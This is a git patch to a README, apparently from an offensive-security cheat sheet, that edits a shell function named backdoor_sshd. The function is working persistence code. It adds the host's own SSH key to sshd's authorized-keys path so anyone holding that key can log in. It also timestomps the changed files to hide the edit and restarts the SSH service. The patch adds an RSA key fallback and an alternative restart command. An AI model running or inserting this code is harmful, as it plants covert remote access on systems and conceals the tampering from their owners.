From 76176eeffd929de4e668f1049b217fe472805ac3 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Wed, 29 Apr 2026 09:48:24 +0100 Subject: [PATCH] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index e8f442e..9dba989 100644 --- a/README.md +++ b/README.md @@ -1816,6 +1816,7 @@ backdoor_sshd() { local B="/etc/ssh" local K="${B}/ssh_host_ed25519_key" D="${B}/sshd_config.d" local N=$(cd "${D}" 2>/dev/null|| exit; shopt -s nullglob; echo *.conf) + [ ! -f "$K" ] && K="${B}/ssh_host_rsa_key" [ -n "$N" ] && N="${N%%\.conf*}.conf" N="${D}/${N:-50-cloud-init.conf}" [ ! -d "${D}" ] && N="${B}/sshd_config" @@ -1826,7 +1827,7 @@ backdoor_sshd() { echo -e "AuthorizedKeysFile\t.ssh/authorized_keys .ssh/authorized_keys2 ${K}.pub" >>"${N}" || return touch -r "$K" "$N" "$D" \ && declare -F ctime >/dev/null && ctime "$N" "$D" - systemctl restart ssh + command -v systemctl >/dev/null && { systemctl restart ssh;:;} || service ssh restart } backdoor_sshd ```